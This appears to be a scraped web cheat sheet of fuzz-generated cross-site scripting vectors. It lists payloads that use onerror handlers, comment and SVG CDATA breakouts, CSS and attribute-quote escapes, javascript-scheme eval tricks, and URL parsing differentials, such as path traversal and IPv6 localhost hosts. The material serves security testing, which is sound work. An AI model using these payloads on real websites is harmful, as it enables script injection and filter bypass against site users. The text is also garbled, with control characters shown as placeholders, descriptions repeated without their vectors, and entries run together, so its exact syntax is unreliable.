Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 212 vectors with results
This XSS vector shows what characters can be used instead of equal sign on attribute
Characters that can be before the closing angle bracket and still form a valid HTML element
Characters that can be before the closing angle bracket and still form a valid HTML element
Characters that can be before the closing angle bracket and still form a valid HTML element
Characters that can be before the closing angle bracket and still form a valid HTML element
Characters that can be before the closing angle bracket and still form a valid HTML element
const c = String.fromCodePoint(i);
if (c.length !== c.toUpperCase().length) alert(i)document⟦09⟧['location'];alert(9)List of characters allowed between an object and the first bracket notation.
document
['location'];alert(10)List of characters allowed between an object and the first bracket notation.
document0x0B['location'];alert(11)List of characters allowed between an object and the first bracket notation.
document0x0C['location'];alert(12)List of characters allowed between an object and the first bracket notation.
document
['location'];alert(13)List of characters allowed between an object and the first bracket notation.
This shows what characters can separate classes in HTML.
This shows what characters can separate classes in HTML.
This shows what characters can separate classes in HTML.
const c = String.fromCodePoint(i)
const c_upper = c.toUpperCase()
if (c_upper.length > c.length && isASCII(c_upper)){
alert(c)
}Useful to bypass strict length checks and differentials between toUpperCase() / toLowerCase() .
This vector shows what characters are allowed and get ignored between the variable name and the equals(=) character.
This vector shows what characters are allowed and get ignored between the variable name and the equals(=) character.
This vector shows what characters are allowed and get ignored between the variable name and the equals(=) character.
This vector shows what characters are allowed and get ignored between the variable name and the equals(=) character.
This vector shows what characters are allowed and get ignored between the variable name and the equals(=) character.
<div style="font-family:'x
;color:red;';">test</div><div style="font-family:'x0x0C;color:red;';">test</div>This vector shows what characters allow you to break out of CSS strings.
<div style="font-family:'x
;color:red;';">test</div>This vector shows what characters allow you to break out of CSS strings.
<div style="font-family:'x';color:red;';">test</div><img src=x onerror0x09=alert(9)>I want to know which characters the browser accepts between an event handler and a equal sign.
I want to know which characters the browser accepts between an event handler and a equal sign.
<img src=x onerror0x0C=alert(12)>I want to know which characters the browser accepts between an event handler and a equal sign.
I want to know which characters the browser accepts between an event handler and a equal sign.
I want to know which characters the browser accepts between an event handler and a equal sign.
This vector shows what characters are allowed before parentheses in a function call in JavaScript.
This vector shows what characters are allowed before parentheses in a function call in JavaScript.
This vector shows what characters are allowed before parentheses in a function call in JavaScript.
This vector shows what characters are allowed before parentheses in a function call in JavaScript.
This vector shows what characters are allowed before parentheses in a function call in JavaScript.
<!----!><img/src/onerror=alert(1)>This vector checks for what characters are allowed before the greater than character.
<!-----><img/src/onerror=alert(1)>This vector checks for what characters are allowed before the greater than character.
<!---->><img/src/onerror=alert(1)>This vector checks for what characters are allowed before the greater than character.
try { v = "javasc$ript$:(1)"; if (eval(v)) { console.alert(v); alert('36') } } catch(e) { v = '' }Find what characters are allowable inside `javascript` in `eval` (redundant much?)
try { v = "javasc_ript_:(1)"; if (eval(v)) { console.alert(v); alert('95') } } catch(e) { v = '' }Find what characters are allowable inside `javascript` in `eval` (redundant much?)
try { v = "javascªriptª:(1)"; if (eval(v)) { console.alert(v); alert('170') } } catch(e) { v = '' }Find what characters are allowable inside `javascript` in `eval` (redundant much?)
try { v = "javascµriptµ:(1)"; if (eval(v)) { console.alert(v); alert('181') } } catch(e) { v = '' }Find what characters are allowable inside `javascript` in `eval` (redundant much?)
if(new URL("https" + String.fromCharCode(i) + "//example.com").host == "example.com") alert(i)<svg><style>
x = "<![CDATA[</style><img title="]]]></style></svg><img src onerror=alert(93)>">This vector shows which characters are allowed in-between right closing bracket in a CDATA section in SVG.
<img src=>{"[alert]"}<img/src/onerror=alert(1)><img0x09src=x0x09onerror=alert(9)>This vector shows what characters can be used to separate HTML attributes, also allowing multiple attributes
This vector shows what characters can be used to separate HTML attributes, also allowing multiple attributes
<img0x0Csrc=x0x0Conerror=alert(12)>This vector shows what characters can be used to separate HTML attributes, also allowing multiple attributes
This vector shows what characters can be used to separate HTML attributes, also allowing multiple attributes
This vector shows what characters can be used to separate HTML attributes, also allowing multiple attributes
new URL("https://x.se/long/..0x09/a").pathname.length > 4 ? false : alert(9)Check which characters are allowed inside a path traversal and the URL still traverses
new URL("https://x.se/long/..#/a").pathname.length > 4 ? false : alert(35)Check which characters are allowed inside a path traversal and the URL still traverses
new URL("https://x.se/long/..//a").pathname.length > 4 ? false : alert(47)Check which characters are allowed inside a path traversal and the URL still traverses
new URL("https://x.se/long/..?/a").pathname.length > 4 ? false : alert(63)Check which characters are allowed inside a path traversal and the URL still traverses
new URL("https://x.se/long/..\/a").pathname.length > 4 ? false : alert(92)Check which characters are allowed inside a path traversal and the URL still traverses
<form id="test" action="aaa0x00onsubmit=alert(1)><input/type='submit'>
Characters allowed to break double quotes in the action attribute
"0x091337"==1337&&alert(9)This vector shows what characters are ignored when comparing a string without strict comparison
"0x0B1337"==1337&&alert(11)This vector shows what characters are ignored when comparing a string without strict comparison
"0x0C1337"==1337&&alert(12)This vector shows what characters are ignored when comparing a string without strict comparison
" 1337"==1337&&alert(32)This vector shows what characters are ignored when comparing a string without strict comparison
"+1337"==1337&&alert(43)This vector shows what characters are ignored when comparing a string without strict comparison
if (new URL("https://" + String.fromCodePoint(91) + "::ffff:7f00:1]/").hostname === '[::ffff:7f00:1]'){alert(91)}if (new URL("https://" + String.fromCodePoint(65095) + "::ffff:7f00:1]/").hostname === '[::ffff:7f00:1]'){alert(65095)}if (new URL("https://" + String.fromCodePoint(65339) + "::ffff:7f00:1]/").hostname === '[::ffff:7f00:1]'){alert(65339)}